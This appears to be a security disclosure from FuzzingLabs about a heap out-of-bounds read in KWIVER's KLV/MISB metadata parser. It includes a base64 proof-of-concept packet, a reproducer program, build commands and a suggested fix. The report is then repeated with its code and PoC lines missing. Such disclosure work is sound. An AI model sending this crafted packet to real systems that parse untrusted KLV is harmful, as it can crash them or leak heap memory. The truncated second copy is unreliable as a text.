ST1108 Metric Period Pack — heap out-of-bounds read
Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read → crash / info disclosure)
Location: arrows/klv/klv_1108.cxx — klv_1108_metric_period_pack_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer
Description
The parser reads a hard-coded 12 bytes and ignores its length argument
(marked [[maybe_unused]]):
auto const timestamp = klv_read_int< uint64_t >( data, 8 ); // hard-coded 8
auto const offset = klv_read_int< uint32_t >( data, 4 ); // hard-coded 4
klv_read_int performs no buffer-bounds check. When the enclosing set gives
this field fewer than 12 bytes (a short field at the end of the buffer), it
reads past the end.
Impact: out-of-bounds read → crash (DoS) / adjacent-heap information
disclosure into the parsed value.
The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.
Proof of concept
Raw KLV packet (23 bytes), base64 — decode with base64 -d:
Bg4rNAIDAQEOAQMDHAAAAAYCAQMBAQA=
Reproduction
No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:
base64 -d poc.b64 > poc.klv # poc.b64 = the base64 block above
ASAN_OPTIONS=detect_leaks=0 ./repro_klv poc.klv
→ AddressSanitizer: heap-buffer-overflow READ in klv_1108_metric_period_pack_format::read_typed.
Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)
#include <arrows/klv/klv_packet.h>
#include <cstdint>
#include <cstdio>
#include <fstream>
#include <vector>
using namespace kwiver::arrows::klv;
int main( int argc, char** argv )
{
std::ifstream in( argv[1], std::ios::binary );
std::vector< uint8_t > buf( ( std::istreambuf_iterator< char >( in ) ),
std::istreambuf_iterator< char >() );
klv_read_iter_t it = buf.data();
klv_read_iter_t const end = buf.data() + buf.size();
while( it < end ) { // consume as a KLV stream
klv_read_iter_t const before = it;
try { (void) klv_read_packet( it, static_cast< size_t >( end - it ) ); }
catch( std::exception const& e ) { std::printf( "rejected: %s\n", e.what() ); break; }
if( it <= before ) break;
}
return 0;
}
Build against an AddressSanitizer build of kwiver_algo_klv:
clang++ -std=c++17 -g -fsanitize=address repro_klv.cxx \
-I<kwiver_src> -I<kwiver_build> \
-L<kwiver_build>/lib -lkwiver_algo_klv -lvital -lvital_logger \
-lvital_exceptions -lvital_util -lvital_config -lvital_types \
-Wl,-rpath,<kwiver_build>/lib -o repro_klv
Suggested fix
Reject length < 12 before reading (ST1108 fixes this pack at 12 bytes):
if( length < 12 )
VITAL_THROW( kv::metadata_buffer_overflow,
"ST1108 metric period pack requires 12 bytes" );
(Requires #include <vital/exceptions/metadata.h>.)
Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.
ST1108 Metric Period Pack — heap out-of-bounds read
Project: KWIVER — arrows/klv (KLV / MISB motion-imagery metadata parser)
Affected version: master @ af3554f1f (v1.8.0-1260-gaf3554f1f) — current tip
Severity: Medium (OOB read → crash / info disclosure)
Location: arrows/klv/klv_1108.cxx — klv_1108_metric_period_pack_format::read_typed
Entry point: kwiver::arrows::klv::klv_read_packet() on untrusted KLV bytes
(e.g. metadata embedded in a MISB motion-imagery stream) — no authentication or
special state required.
Detection: AddressSanitizer
Description
The parser reads a hard-coded 12 bytes and ignores its length argument
(marked [[maybe_unused]]):
klv_read_int performs no buffer-bounds check. When the enclosing set gives
this field fewer than 12 bytes (a short field at the end of the buffer), it
reads past the end.
Impact: out-of-bounds read → crash (DoS) / adjacent-heap information
disclosure into the parsed value.
The reader helpers (klv_read_int, klv_read_imap, klv_read_string) do no
buffer-bounds check — they trust the caller to pass a valid length. The safe
pattern used elsewhere in the codebase is tracker.verify(n), which returns n
if n bytes remain in the field and otherwise throws metadata_buffer_overflow.
Proof of concept
Raw KLV packet (23 bytes), base64 — decode with base64 -d:
Reproduction
No fuzzing engine or custom harness required — only the public KLV API and an
AddressSanitizer build of kwiver_algo_klv:
→ AddressSanitizer: heap-buffer-overflow READ in klv_1108_metric_period_pack_format::read_typed.
Standalone reproducer — repro_klv.cxx (public KLV API only, no fuzzer)Build against an AddressSanitizer build of kwiver_algo_klv:
Suggested fix
Reject length < 12 before reading (ST1108 fixes this pack at 12 bytes):
(Requires #include <vital/exceptions/metadata.h>.)
Reported by patrick@fuzzinglabs.com (FuzzingLabs). Reproduced on master
(af3554f1f); the fix above was verified to eliminate the AddressSanitizer
error.